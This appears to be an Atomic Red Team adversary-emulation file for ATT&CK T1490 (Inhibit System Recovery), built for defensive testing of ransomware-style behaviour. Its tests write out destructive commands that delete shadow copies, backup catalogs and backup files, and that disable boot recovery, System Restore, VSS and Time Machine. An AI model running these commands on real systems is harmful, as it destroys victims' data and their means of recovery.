attack_technique: T1490
display_name: Inhibit System Recovery
atomic_tests:
- name: Windows - Delete Volume Shadow Copies
  auto_generated_guid: 43819286-91a9-4369-90ed-d31fb4da2c01
  description: |
    Deletes Windows Volume Shadow Copies. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon
    execution, if no shadow volumes exist the message "No items found that satisfy the query." will be displayed. If shadow volumes are present, it
    will delete them without printing output to the screen. This is because the /quiet parameter was passed which also suppresses the y/n
    confirmation prompt. Shadow copies can only be created on Windows server or Windows 8.

    https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc788055(v=ws.11)
  supported_platforms:
  - windows
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Create volume shadow copy of C:\ . This prereq command only works on Windows Server or Windows 8.
    prereq_command: |
      if(!(vssadmin.exe list shadows | findstr "No items found that satisfy the query.")) { exit 0 } else { exit 1 }
    get_prereq_command: |
      vssadmin.exe create shadow /for=c:
  executor:
    command: |
      vssadmin.exe delete shadows /all /quiet
    name: command_prompt
    elevation_required: true
- name: Windows - Delete Volume Shadow Copies via WMI
  auto_generated_guid: 6a3ff8dd-f49c-4272-a658-11c2fe58bd88
  description: |
    Deletes Windows Volume Shadow Copies via WMI. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer.
  supported_platforms:
  - windows
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Create volume shadow copy of C:\ .
    prereq_command: |
      if(!(vssadmin.exe list shadows | findstr "No items found that satisfy the query.")) { exit 0 } else { exit 1 }
    get_prereq_command: |
      wmic shadowcopy call create Volume='C:\'
  executor:
    command: |
      wmic.exe shadowcopy delete
    name: command_prompt
    elevation_required: true
- name: Windows - wbadmin Delete Windows Backup Catalog
  auto_generated_guid: 263ba6cb-ea2b-41c9-9d4e-b652dadd002c
  description: |
    Deletes Windows Backup Catalog. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon execution,
    "The backup catalog has been successfully deleted." will be displayed in the PowerShell session.
  supported_platforms:
  - windows
  executor:
    command: |
      wbadmin delete catalog -quiet
    name: command_prompt
    elevation_required: true
- name: Windows - Disable Windows Recovery Console Repair
  auto_generated_guid: cf21060a-80b3-4238-a595-22525de4ab81
  description: |
    Disables repair by the Windows Recovery Console on boot. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer.
    Upon execution, "The operation completed successfully." will be displayed in the powershell session.
  supported_platforms:
  - windows
  executor:
    command: |
      bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
      bcdedit.exe /set {default} recoveryenabled no
    cleanup_command: |
      bcdedit.exe /set {default} bootstatuspolicy DisplayAllFailures >nul 2>&1
      bcdedit.exe /set {default} recoveryenabled yes >nul 2>&1
    name: command_prompt
    elevation_required: true
- name: Windows - Delete Volume Shadow Copies via WMI with PowerShell
  auto_generated_guid: 39a295ca-7059-4a88-86f6-09556c1211e7
  description: |
    Deletes Windows Volume Shadow Copies with PowerShell code and Get-WMIObject.
    This technique is used by numerous ransomware families such as Sodinokibi/REvil.
    Executes Get-WMIObject. Shadow copies can only be created on Windows server or Windows 8, so upon execution
    there may be no output displayed.
  supported_platforms:
  - windows
  executor:
    command: |
      Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}
    name: powershell
    elevation_required: true
- name: Windows - Delete Backup Files
  auto_generated_guid: 6b1dbaf6-cc8a-4ea6-891f-6058569653bf
  description: |
    Deletes backup files in a manner similar to Ryuk ransomware. Upon exection, many "access is denied" messages will appear as the commands try
    to delete files from around the system.
  supported_platforms:
  - windows
  executor:
    command: |
      del /s /f /q c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk
    name: command_prompt
    elevation_required: true
- name: Windows - wbadmin Delete systemstatebackup
  auto_generated_guid: 584331dd-75bc-4c02-9e0b-17f5fd81c748
  description: |
    Deletes the Windows systemstatebackup using wbadmin.exe. This technique is used by numerous ransomware families. This may only be successful on server platforms that have Windows Backup enabled.
  supported_platforms:
  - windows
  executor:
    command: |
      wbadmin delete systemstatebackup -keepVersions:0
    name: command_prompt
    elevation_required: true
- name: Windows - Disable the SR scheduled task
  auto_generated_guid: 1c68c68d-83a4-4981-974e-8993055fa034
  description: |
    Use schtasks.exe to disable the System Restore (SR) scheduled task
  supported_platforms:
  - windows
  executor:
    command: |
      schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    cleanup_command: |
      schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /enable >nul 2>&1
    name: command_prompt
    elevation_required: true
- name: Disable System Restore Through Registry
  auto_generated_guid: 66e647d1-8741-4e43-b7c1-334760c2047f
  description: |
    Modify the registry of the currently logged in user using reg.exe via cmd console to disable system restore on the computer. 
    See how remcos RAT abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details
  supported_platforms:
  - windows
  executor:
    command: |
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t "REG_DWORD" /d "1" /f
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t "REG_DWORD" /d "1" /f
      reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableConfig" /t "REG_DWORD" /d "1" /f
      reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableSR" /t "REG_DWORD" /d "1" /f
    cleanup_command: |
      reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /f >nul 2>&1
      reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /f >nul 2>&1
      reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableConfig" /f >nul 2>&1
      reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableSR" /f >nul 2>&1
    name: command_prompt
    elevation_required: true
- name: Windows - vssadmin Resize Shadowstorage Volume
  auto_generated_guid: da558b07-69ae-41b9-b9d4-4d98154a7049
  description: 
    Adversaries generally try to Resize Shadowstorage Volume using vssadmin.exe to avoid the shadow volumes being made again. This technique is typically found used by adversaries during a ransomware event and a precursor to deleting the shadowstorage.
  supported_platforms:
  - windows
  executor:
    command: 'vssadmin resize shadowstorage /For=C: /On=C: /MaxSize=20%'
    name: powershell
    elevation_required: true

- name: "Modify VSS Service Permissions"
  auto_generated_guid: a4420f93-5386-4290-b780-f4f66abc7070
  description: |
    This atomic test alters the security settings of the Volume Shadow Copy Service (VSS) by modifying its permissions, potentially impacting system recovery operations. The specific permissions set by the command are as follows:
    - Deny Generic All (GA) permissions to Network Users (NU)
    - Deny GA permissions to Everyone (WD)
    - Deny GA permissions to Anonymous (AN)
    - Allow Full Access (FA) and Generic All (GA) permissions to Everyone (WD) in System ACL (SACL)
    - Allow Object Inherit and Inherit Only (OIIO) Full Access (FA) and GA permissions to Everyone (WD) in SACL
    These permissions can significantly restrict VSS functionalities, including backup and restore operations. As such, it is essential to run this test only in a controlled environment with administrative privileges.
    A cleanup command is provided to reset VSS permissions to a common default configuration, which should be verified against your specific system's configuration. It's crucial to use this cleanup command after testing to ensure the system's backup and recovery capabilities remain functional. Running this test on a production system or critical environment is not recommended without proper precautions and a robust recovery plan.
  supported_platforms:
  - windows
  executor:
    name: "command_prompt"
    elevation_required: true
    command: |
      sc sdset VSS D:(D;;GA;;;NU)(D;;GA;;;WD)(D;;GA;;;AN)S:(AU;FA;GA;;;WD)(AU;OIIOFA;GA;;;WD)
    cleanup_command: |
      sc sdset VSS D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;LC;;;BU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
- name: Disable Time Machine 
  auto_generated_guid: ed952f70-91d4-445a-b7ff-30966bfb1aff
  description: |
     Disables Time Machine which is Apple's automated backup utility software. Attackers can use this to prevent backups from occurring and hinder the victim's ability to recover from any damage.
  supported_platforms:
  - macos
  executor:
    command: sudo tmutil disable
    cleanup_command: sudo tmutil enable
    name: sh
    elevation_required: true